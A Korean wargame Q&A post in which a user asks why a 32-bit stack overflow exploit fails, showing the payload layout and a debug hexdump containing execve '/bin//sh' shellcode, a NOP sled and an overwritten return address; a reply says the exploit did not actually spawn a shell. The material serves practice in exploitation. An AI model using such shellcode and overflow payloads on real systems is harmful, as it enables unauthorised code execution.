buf, ret 거리 질문
실습 환경은 Ubuntu 18.04 64bit 환경입니다.
문제파일에서 buf의 위치가 epb - 0x80에 존재하므로
"shellcode + \x90 * (0x84 - len(shellcode)) + p32(buf의 주소)"
로 페이로드를 작성했습니다.
하지만
[DEBUG] Sent 0x89 bytes:
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 e1 89 c2 b0 0b cd 80 90 90 90 90 90 90 90 │S···│····│····│····│
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000080 90 90 90 90 18 3b a4 ff 0a │····│·;··│·│
00000089
[*] Switching to interactive mode
)
[*] Got EOF while reading in interactive
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
과 같이셸이 실행되지도, Segmentation fault가 일어나지도 않습니다.
ret 값이 페이로드에 의해 덮이지 않았다고 판단되는데,
buf와 ret사이의거리를 0x84로 설정하는게 타당한지 질문 드립니다.
#pwnable
작성자 정보
답변
1
2dedce
워게임 고인물
[*] Switching to interactive mode
)
[*] Got EOF while reading in interactive
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
(오후 12:53 2020-07-24 수정)
여기서 $가 뜬 것은 쉘코드가 실행된 게 아니라 비정상 종료된 것입니다. 실패한 것이니 [*] Switching to interactive mode
다음에 [*] Got EOF while reading in interactive
가 안 뜨도록 쉘코드를 다른 걸로 바꿔보세요.